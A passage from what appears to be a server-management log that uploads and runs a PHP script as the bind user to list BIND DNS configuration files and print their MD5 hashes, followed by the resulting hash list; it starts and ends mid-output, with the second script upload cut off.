MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:18:52: Establishing a connection
2026-07-15 13:18:52: 

PUT: /tmp/pkp654175

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:18:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp654175; rm /tmp/pkp654175'

2026-07-15 13:18:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:35:50: Establishing a connection
2026-07-15 13:35:51: 

PUT: /tmp/pkp512886

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
